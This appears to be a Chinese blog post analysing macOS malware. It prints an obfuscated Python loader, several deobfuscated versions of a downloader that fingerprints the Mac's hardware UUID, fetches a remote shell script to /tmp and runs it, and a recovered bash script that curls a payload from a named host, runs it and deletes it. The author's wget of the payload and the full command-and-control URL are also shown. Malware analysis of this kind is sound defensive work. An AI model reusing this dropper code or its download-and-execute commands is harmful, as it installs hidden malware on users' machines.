Mac App 破解之路八 病毒程序分析

本人使用MacBooster 7 扫出了几个未知程序. 

 

JMJ56 这个程序. 在finder中打开发现是一个shell脚本 调用了python 

9NKb0 就是python脚本使用.    只不过是编译之后的 pyc二进制文件.

使用 https://tool.lu/pyc/ 在线反编译工具, 将其反编译后,得到了如下代码:

import zlib
import base64
exec zlib.decompress(base64.b64decode('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'))

 

 将exec 改成 print 后 得到源码:

import time
YCs=globals
YCQ=None
YCX=Exception
YCU=chr
YCf=ord
YCq=True
YCk=str
YCN=int
YCD=len
YCI=open
YCM=False
YCF=float
YCu=OSError
YCE=enumerate
Ycw=time.time
Ycb=time.sleep
import uuid
YcB=uuid.uuid4
import os
Yci=os.path
YcA=os.remove
Ycl=os.getenv
YCc=os.mkdir
import sys
YCp=sys.path
YCn=sys.argv
import platform
YCS=platform.mac_ver
import urllib2
YCL=urllib2.Request
YCy=urllib2.urlopen
import shelve
YCV=shelve.DbfilenameShelf
import base64
YCg=base64.b64decode
YCp.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC')
import objc
YCa=objc.loadBundleFunctions
from subprocess import Popen,PIPE
from Foundation import NSBundle
YCr=NSBundle.bundleWithIdentifier_
def YcP():
 YcC=YCr('com.apple.framework.IOKit')
 Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),]
 YCa(YcC,YCs(),Ycp)
def YcK(WTRkc):
 return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,YCQ,0)
def Yct():
 return YcK("IOPlatformUUID")
def YcW(bmtzB):
 pass
def YcH(YcF):
 try:
  Ycn=YCL(YcF)
  YcS=YCy(Ycn)
  YcL=YcS.read()
  return YcL
 except YCX as twwAy:
  pass
def Ycz(mOoCz):
 if Ycy:
  return YcT(mOoCz)
 return mOoCz
def YcT(bmtzB):
 return YCg(YCg("".join([YCU(YCf(x)-1)for x in YCg(bmtzB)]))[::-1])
Ycy=YCq
class Ycx:
 def __init__(Ycq):
  YcP()
  YcV=Ycz("UVUyU1ZsNTZTV04+")
  Ycg=Ycz("TkVselpvbDZiWE9wWGtPTg==")
  Yca=Ycz("UVUyU1hrS0hObVdwVm1pW1NVbVVbWW1IY1hPcWNGZVY=")
  Ycr=Ycz("UVdHSVtHU2xXM0d1T1VLalNGNllYVjU2VjNXNlNuMmtiWHlJV0I+Pg==")
  Ycs=Ycz("TkVtSVhoPj4=")
  YcQ=Ycz("ZW1LSlhoPj4=")
  YcX=Ycz("UVZXVltCPj4=")
  YcU=Ycz("UVdtVltCPj4=")
  Ycf=Ycz("UVUyQ1pZcDJSM1d4UFZPa2VHSntVQj4+")
  Ycq.LyPiI=Ycz("UVZHWltCPj4=")
  Ycq.bHJIV=Ycz("UVUyQ1pZcDZiWEt4VGtLTg==")
  Ycq.RXatE=Ycz("UVhldVtSPj4=")
  Ycq.jWCqZ=Ycz("UVhldltSPj4=")
  Ycq.axruV=Ycz("UVZse1hSPj4=")
  Ycq.PzAcW=Ycz("ZldxWlpoPj4=")
  Yck=Ycz("UVZHRlVVU0tTRjk+")
  Ycq.FlQzO=Ycz("UVUyU1VrR2tTRjE+")
  Ycq.TdttD=Ycz("UVUyNFtCPj4=")
  Ycq.skrNG=Ycz("UVhPRlVoPj4=")
  Ycq.BnAQf=YCk(YcB()).split('-')[-1][2:6]
  YcN=Ycl(YcV)
  if YcN in[Ycg,YCQ]:
   YcN=""
  if Ycq.YcG():
   Ycq.iQbym=Ycq.YcJ(Ycq.YcO(YcN,Ycr))
   YcD=Ycq.YcJ(Ycq.YcO(Ycq.YcJ(Ycq.iQbym),YcQ))
   YcI=Ycq.YcJ(YcU)
  else:
   Ycq.iQbym=Ycq.YcJ(Ycq.YcO(YcN,Yca))
   YcD=Ycq.YcJ(Ycq.YcO(Ycq.YcJ(Ycq.iQbym),Ycs))
   YcI=Ycq.YcJ(YcX)
  Ycq.tJTBy=Ycq.YcJ(Ycf)
  Ycq.tvkWA=Ycq.YcJ(Ycq.YcO(Ycq.YcJ(Ycq.iQbym),Ycq.YcJ(YcI)))
  try:
   Ycq.CRAQs=YCV(Ycq.YcJ(YcD))
  except YCX as twwAy:
   return
  Ycq.axdjg=YCN(Yck)
 def Ycm(Ycq):
  Ycq.Yco()
  if Ycq.Yce():
   Ycq.Ych()
  Ycq.CRAQs.close()
 def Ych(Ycq):
  if YCD(Ycq.CRAQs.get(Ycq.LyPiI,''))>0:
   Ycq.YcR(Ycq.CRAQs[Ycq.LyPiI].strip())
  else:
   try:
    f=YCI(Ycq.YcJ(Ycq.tvkWA))
    YcM=f.readline()
    f.close()
    Ycq.CRAQs[Ycq.LyPiI]=YcM.strip()
    if YCD(Ycq.CRAQs.get(Ycq.LyPiI,''))>0:
     Ycq.YcR(Ycq.CRAQs[Ycq.LyPiI].strip())
    else:
     pass
   except YCX as twwAy:
    return
 def YcR(Ycq,jfubJ):
  YcF="{}{}&{}={}".format(jfubJ,Yct(),Ycq.PzAcW,YCS()[0])
  YcL=YcH(YcF)
  if not YcL:
   return
  if YCD(YcL)>10:
   Ycq.Ycv(YcL)
 def Ycv(Ycq,ToLzn):
  Ycq.Ycj(ToLzn)
  Ycq.Ycd()
  try:
   Ycb(2)
   YcA(Ycq.YcJ(Ycq.tJTBy))
  except YCX as twwAy:
   pass
 def Ycj(Ycq,ToLzn):
  YcL=YcH(ToLzn)
  try:
   f=YCI(Ycq.YcJ(Ycq.tJTBy),Ycz(Ycq.TdttD))
   f.write(YcL)
   f.close()
  except YCX as twwAy:
   pass
 def Ycd(Ycq):
  p=Popen([Ycq.bHJIV,Ycq.YcJ(Ycq.tJTBy)],stdin=PIPE,stdout=PIPE,stderr=PIPE)
  p.communicate()
 def YcG(Ycq):
  if YCD(YCn)>1:
   if YCn[1]==Ycq.axruV:
    return YCq
  return YCM
 def Yce(Ycq):
  if YCN(Ycq.CRAQs.get(Ycq.RXatE,0))==0:
   Ycq.CRAQs[Ycq.RXatE]=Ycw()
   Ycq.CRAQs[Ycq.jWCqZ]=Ycw()
   return YCq
  if YCN(Ycq.CRAQs.get(Ycq.jWCqZ,0))>0:
   if Ycw()-YCF(Ycq.CRAQs[Ycq.jWCqZ])<Ycq.axdjg:
    return YCM
  Ycq.CRAQs[Ycq.jWCqZ]=Ycw()
  return YCq
 def Yco(Ycq):
  if not Yci.isdir(Ycq.YcJ(Ycq.iQbym)):
   try:
    YCc(Ycq.YcJ(Ycq.iQbym),YCN(Ycq.FlQzO))
   except YCu as xQowg:
    pass
   except YCX as twwAy:
    pass
 def YcJ(Ycq,DngPJ):
  return ''.join([YCU(YCf(JeEmF)^YCf(Ycq.BnAQf[JAYHL%YCD(Ycq.BnAQf)]))for JAYHL,JeEmF in YCE(YCk(DngPJ))])
 def YcO(Ycq,*args):
  Ycu=Ycq.skrNG
  try:
   Ycu=YCN(Ycu)
  except YCX as twwAy:
   Ycu=YCN(Ycz(Ycq.skrNG))
  return YCU(Ycu).join(args)
YcE=Ycx()
YcE.Ycm()

看到这样的代码,有点尴尬, 混淆过后的python真牛逼. 手动优化一番后:

import time
import uuid
import os
import sys
import platform
import urllib2
import shelve
import base64

sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC')
import objc
from subprocess import Popen,PIPE
from Foundation import NSBundle

def YcP():
 YcC=NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
 Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),]
 objc.loadBundleFunctions(YcC,globals(),Ycp)

def YcK(WTRkc):
 return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,None,0)
def Yct():
 return YcK("IOPlatformUUID")
def YcW(bmtzB):
 pass
def YcH(YcF):
 try:
  Ycn=urllib2.Request(YcF)
  YcS=urllib2.urlopen(Ycn)
  YcL=YcS.read()
  return YcL
 except Exception as twwAy:
  pass
def Ycz(mOoCz):
 if True:
  return YcT(mOoCz)
 return mOoCz

def YcT(bmtzB):
 return base64.b64decode(base64.b64decode("".join([chr(ord(x)-1)for x in base64.b64decode(bmtzB)]))[::-1])

class Ycx:
 def __init__(self):
  YcP()
  YcV=Ycz("UVUyU1ZsNTZTV04+")
  Ycg=Ycz("TkVselpvbDZiWE9wWGtPTg==")
  Yca=Ycz("UVUyU1hrS0hObVdwVm1pW1NVbVVbWW1IY1hPcWNGZVY=")
  Ycr=Ycz("UVdHSVtHU2xXM0d1T1VLalNGNllYVjU2VjNXNlNuMmtiWHlJV0I+Pg==")
  Ycs=Ycz("TkVtSVhoPj4=")
  YcQ=Ycz("ZW1LSlhoPj4=")
  YcX=Ycz("UVZXVltCPj4=")
  YcU=Ycz("UVdtVltCPj4=")
  Ycf=Ycz("UVUyQ1pZcDJSM1d4UFZPa2VHSntVQj4+")
  self.LyPiI=Ycz("UVZHWltCPj4=")
  self.bHJIV=Ycz("UVUyQ1pZcDZiWEt4VGtLTg==")
  self.RXatE=Ycz("UVhldVtSPj4=")
  self.jWCqZ=Ycz("UVhldltSPj4=")
  self.axruV=Ycz("UVZse1hSPj4=")
  self.PzAcW=Ycz("ZldxWlpoPj4=")
  Yck=Ycz("UVZHRlVVU0tTRjk+")
  self.FlQzO=Ycz("UVUyU1VrR2tTRjE+")
  self.TdttD=Ycz("UVUyNFtCPj4=")
  self.skrNG=Ycz("UVhPRlVoPj4=")
  self.BnAQf=str(uuid.uuid4()).split('-')[-1][2:6]
  YcN=os.getenv(YcV)
  if YcN in[Ycg,None]:
   YcN=""
  if self.YcG():
   self.iQbym=self.YcJ(self.YcO(YcN,Ycr))
   YcD=self.YcJ(self.YcO(self.YcJ(self.iQbym),YcQ))
   YcI=self.YcJ(YcU)
  else:
   self.iQbym=self.YcJ(self.YcO(YcN,Yca))
   YcD=self.YcJ(self.YcO(self.YcJ(self.iQbym),Ycs))
   YcI=self.YcJ(YcX)
  self.tJTBy=self.YcJ(Ycf)
  self.tvkWA=self.YcJ(self.YcO(self.YcJ(self.iQbym),self.YcJ(YcI)))
  try:
   self.CRAQs=shelve.DbfilenameShelf(self.YcJ(YcD))
  except Exception as twwAy:
   return
  self.axdjg=int(Yck)
 def Ycm(self):
  self.Yco()
  if self.Yce():
   self.Ych()
  self.CRAQs.close()
 def Ych(self):
  if len(self.CRAQs.get(self.LyPiI,''))>0:
   self.YcR(self.CRAQs[self.LyPiI].strip())
  else:
   try:
    f=open(self.YcJ(self.tvkWA))
    YcM=f.readline()
    f.close()
    self.CRAQs[self.LyPiI]=YcM.strip()
    if len(self.CRAQs.get(self.LyPiI,''))>0:
     self.YcR(self.CRAQs[self.LyPiI].strip())
    else:
     pass
   except Exception as twwAy:
    return
 def YcR(self,jfubJ):
  YcF="{}{}&{}={}".format(jfubJ,Yct(),self.PzAcW,platform.mac_ver()[0])
  YcL=YcH(YcF)
  if not YcL:
   return
  if len(YcL)>10:
   self.Ycv(YcL)
 def Ycv(self,ToLzn):
  self.Ycj(ToLzn)
  self.Ycd()
  try:
   time.sleep(2)
   os.remove(self.YcJ(self.tJTBy))
  except Exception as twwAy:
   pass
 def Ycj(self,ToLzn):
  YcL=YcH(ToLzn)
  try:
   f=open(self.YcJ(self.tJTBy),Ycz(self.TdttD))
   f.write(YcL)
   f.close()
  except Exception as twwAy:
   pass
 def Ycd(self):
  p=Popen([self.bHJIV,self.YcJ(self.tJTBy)],stdin=PIPE,stdout=PIPE,stderr=PIPE)
  p.communicate()
 def YcG(self):
  if len(sys.argv)>1:
   if sys.argv[1]==self.axruV:
    return True
  return False
 def Yce(self):
  if int(self.CRAQs.get(self.RXatE,0))==0:
   self.CRAQs[self.RXatE]=time.time()
   self.CRAQs[self.jWCqZ]=time.time()
   return True
  if int(self.CRAQs.get(self.jWCqZ,0))>0:
   if time.time()-float(self.CRAQs[self.jWCqZ])<self.axdjg:
    return False
  self.CRAQs[self.jWCqZ]=time.time()
  return True
 def Yco(self):
  if not os.path.isdir(self.YcJ(self.iQbym)):
   try:
    os.mkdir(self.YcJ(self.iQbym),int(self.FlQzO))
   except OSError as xQowg:
    pass
   except Exception as twwAy:
    pass
 def YcJ(self,DngPJ):
  return ''.join([chr(ord(JeEmF)^ord(self.BnAQf[JAYHL%len(self.BnAQf)]))for JAYHL,JeEmF in enumerate(str(DngPJ))])
 def YcO(self,*args):
  Ycu=self.skrNG
  try:
   Ycu=int(Ycu)
  except Exception as twwAy:
   Ycu=int(Ycz(self.skrNG))
  return chr(Ycu).join(args)


YcE=Ycx()
YcE.Ycm()

上面的代码稍微还可以看一下. 继续优化:

# -*- coding: utf-8 -*-
# @Time : 2019/8/4 8:13 PM
# @Author : dzq
import time
import uuid
import os
import sys
import platform
import urllib2
import shelve
import base64

sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC')
import objc
from subprocess import Popen,PIPE
from Foundation import NSBundle

def YcP():
 YcC=NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
 Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),]
 objc.loadBundleFunctions(YcC,globals(),Ycp)

def YcK(WTRkc):
 return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,None,0)
def Yct():
 return YcK("IOPlatformUUID")
def YcW(bmtzB):
 pass

def reqUrl(YcF):
 try:
  Ycn=urllib2.Request(YcF)
  YcS=urllib2.urlopen(Ycn)
  con=YcS.read()
  return con
 except Exception as twwAy:
  pass
def Ycz(mOoCz):
 if True:
  return YcT(mOoCz)
 return mOoCz

def YcT(bmtzB):
 return base64.b64decode(base64.b64decode("".join([chr(ord(x)-1)for x in base64.b64decode(bmtzB)]))[::-1])

class Ycx:
 def __init__(self):
  YcP()
  YcV='HOME'
  Ycg='/var/root'
  Ycr='Library/MacConfigStd'
  Ycs='dot'
  YcX='u1'
  YcU='u6'
  Ycf='/tmp/ix.sh'
  self.bHJIV='/bin/sh'
  self.axruV='cr'
  self.PzAcW='mvr'
  self.TdttD='w'
  self.BnAQf='e2f4'

  if self.YcG():
   self.iQbym= '/Users/dengzhongqiang/Library/MacConfigStd'
   YcD= '/Users/dengzhongqiang/Library/MacConfigStd/dto'
   YcI= 'u6'
  else:
   self.iQbym= '/Users/dengzhongqiang/Library/DataSave'
   YcD= '/Users/dengzhongqiang/Library/DataSave/dot'
   YcI = 'u1'

  self.tvkWA=self.path_join(self.iQbym, YcI)

  try:
   self.CRAQs=shelve.DbfilenameShelf(YcD)
  except Exception as twwAy:
   return

 def Ycm(self):
  self.Yco()
  if self.Yce():
   self.Ych()
  self.CRAQs.close()

 def Ych(self):
  if len(self.CRAQs.get('up',''))>0:
   self.req(self.CRAQs['up'].strip())
  else:
   try:
    f=open('/Users/dengzhongqiang/Library/DataSave/u1')
    line=f.readline()
    f.close()
    self.CRAQs['up']=line.strip()
    if len(self.CRAQs.get('up',''))>0:
     self.req(self.CRAQs['up'].strip())
    else:
     pass
   except Exception as twwAy:
    return

 def req(self,jfubJ):
  YcF="{}{}&{}={}".format(jfubJ,Yct(),'mvr',platform.mac_ver()[0])
  con=reqUrl(YcF)
  if not con:
   return
  if len(con)>10:
   self.Ycv(con)

 def Ycv(self,url):
  self.Ycj(url)
  self.Ycd()
  try:
   time.sleep(2)
   os.remove(self.YcJ('/tmp/ix.sh'))
  except Exception as twwAy:
   pass

 def Ycj(self,url):
  con=reqUrl(url)
  try:
   f=open('/tmp/ix.sh',"w")
   f.write(con)
   f.close()
  except Exception as twwAy:
   pass

 def Ycd(self):
  p=Popen(['bib/sh','/tmp/ix.sh'],stdin=PIPE,stdout=PIPE,stderr=PIPE)
  p.communicate()
     
 def YcG(self):
  if len(sys.argv)>1:
   if sys.argv[1]==self.axruV:
    return True
  return False
 def Yce(self):
  if int(self.CRAQs.get('zh',0))==0:
   self.CRAQs['zh']=time.time()
   self.CRAQs['zx']=time.time()
   return True
  if int(self.CRAQs.get('zx',0))>0:
   if time.time()-float(self.CRAQs['zx'])< 82800:
    return False
  self.CRAQs['zx']=time.time()
  return True
 def Yco(self):
  if not os.path.isdir('/Users/dengzhongqiang/Library/DataSave'):
   try:
    os.mkdir( self.iQbym,0755)
   except OSError as xQowg:
    pass
   except Exception as twwAy:
    pass

 def path_join(self,*args):
  return '/'.join(args)


YcE=Ycx()
YcE.Ycm()

 

# -*- coding: utf-8 -*-
# @Time : 2019/8/4 8:13 PM
# @Author : dzq
import time
import uuid
import os
import sys
import platform
import urllib2
import shelve
import base64

sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC')
import objc
from subprocess import Popen,PIPE
from Foundation import NSBundle

def YcP():
 YcC=NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
 Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),]
 objc.loadBundleFunctions(YcC,globals(),Ycp)

def YcK(WTRkc):
 return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,None,0)
def Yct():
 return YcK("IOPlatformUUID")
def YcW(bmtzB):
 pass

def reqUrl(YcF):
 try:
  Ycn=urllib2.Request(YcF)
  YcS=urllib2.urlopen(Ycn)
  con=YcS.read()
  return con
 except Exception as twwAy:
  pass
def Ycz(mOoCz):
 if True:
  return YcT(mOoCz)
 return mOoCz

def YcT(bmtzB):
 return base64.b64decode(base64.b64decode("".join([chr(ord(x)-1)for x in base64.b64decode(bmtzB)]))[::-1])

class Ycx:
 def __init__(self):
  YcP()

  if self.YcG():
   self.iQbym= '/Users/dengzhongqiang/Library/MacConfigStd'
   YcD= '/Users/dengzhongqiang/Library/MacConfigStd/dto'
   YcI= 'u6'
  else:
   self.iQbym= '/Users/dengzhongqiang/Library/DataSave'
   YcD= '/Users/dengzhongqiang/Library/DataSave/dot'
   YcI = 'u1'

  self.tvkWA=self.path_join(self.iQbym, YcI)

  try:
   self.CRAQs=shelve.DbfilenameShelf(YcD)
  except Exception as twwAy:
   return

 def Ycm(self):
  self.Yco()
  if self.Yce():
   self.Ych()
  self.CRAQs.close()

 def Ych(self):
  if len(self.CRAQs.get('up',''))>0:
   self.req(self.CRAQs['up'].strip())
  else:
   try:
    f=open('/Users/dengzhongqiang/Library/DataSave/u1')
    line=f.readline()
    f.close()
    self.CRAQs['up']=line.strip()
    if len(self.CRAQs.get('up',''))>0:
     self.req(self.CRAQs['up'].strip())
    else:
     pass
   except Exception as twwAy:
    return

 def req(self,jfubJ):
  YcF="{}{}&{}={}".format(jfubJ,Yct(),'mvr',platform.mac_ver()[0])
  con=reqUrl(YcF)
  if not con:
   return
  if len(con)>10:
   self.Ycv(con)

 def Ycv(self,url):
  self.Ycj(url)
  self.Ycd()
  try:
   time.sleep(2)
   os.remove(self.YcJ('/tmp/ix.sh'))
  except Exception as twwAy:
   pass

 def Ycj(self,url):
  con=reqUrl(url)
  try:
   f=open('/tmp/ix.sh',"w")
   f.write(con)
   f.close()
  except Exception as twwAy:
   pass

 def Ycd(self):
  p=Popen(['bib/sh','/tmp/ix.sh'],stdin=PIPE,stdout=PIPE,stderr=PIPE)
  p.communicate()

 def YcG(self):
  if len(sys.argv)>1:
   if sys.argv[1]=='cr':
    return True
  return False

 def Yce(self):
  if int(self.CRAQs.get('zh',0))==0:
   self.CRAQs['zh']=time.time()
   self.CRAQs['zx']=time.time()
   return True
  if int(self.CRAQs.get('zx',0))>0:
   if time.time()-float(self.CRAQs['zx'])< 82800:
    return False
  self.CRAQs['zx']=time.time()
  return True
 def Yco(self):
  if not os.path.isdir('/Users/dengzhongqiang/Library/DataSave'):
   try:
    os.mkdir( self.iQbym,0755)
   except OSError as xQowg:
    pass
   except Exception as twwAy:
    pass

 def path_join(self,*args):
  return '/'.join(args)


YcE=Ycx()
YcE.Ycm()

 

通过调试和进一步优化,读取这段逻辑,  知道了这段恶意程序的思想:

每次开机执行这段脚本,   读取dot.db,  转换成python中的字典 data.   [这里有一个时间比对, 如果时间在23个小时以内,则不请求URL

这个URL的功能就是获取ix.sh文件内容.]

 

然后获取这个data中up字段,如果没有up字段,就读取/Users/dengzhongqiang/Library/DataSave/u1文件内容:

是一个url,  然后请求这个URL,  如果返回的数据长度大于10, 则把这个内容写入到 /tmp/ix.sh中,

并加入可执行权限,然后执行. 执行完成之后过2秒就删除这个ix.sh脚本.  

 

完整的请求地址是:

http://i.swiftinstaller.top/c/ci?ct=clpy&tm=1&id=7B97AA40-7A19-5F8C-B050-35A7D8D8F8B3&mvr=10.14.5

id字段是这段代码的返回值,

IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),'IOPlatformUUID',None,0)
妈个逼的, 用postman模拟请求一直返回1,  很想知道iv.sh里的内容是啥.   决定用数据恢复软件恢复一波,看能不能找回来.   看一下恶意程序的真荣.
拿到了iv.sh的内容.
#!/bin/bash
/usr/bin/curl -s -L -o /var/tmp/xSf.tgz "http://www.qaeqxa.pw/static/s3/exec6625/exec.tgz"
mkdir -p /var/tmp/xSf
tar -xzf /var/tmp/xSf.tgz -C /var/tmp/xSf/
cd /var/tmp/xSf/
./xSf

func_cccc(){
sleep 120
rm -rf /var/tmp/xSf
rm -rf /var/tmp/xSf.tgz
}
func_cccc &

可以知道, 它下载了exec.tgz,  下载我执行命令下载一下这个.

 wget  http://www.qaeqxa.pw/static/s3/exec6625/exec.tgz

tar -xzf exec.tgz -C ./bingdu/

拿到了真正的病毒程序: xSf

这个程序隐藏的真深,  延时120秒后就删除了.  杀毒软件肯定也就找不到它了.

 

用杀毒软件直接扫描这个程序: 

最终找到了写病毒的人,他叫:  batman

老子要报警.

 

posted @ 2019-08-04 23:25  Please Call me 小强  阅读(2996)  评论(0编辑  收藏  举报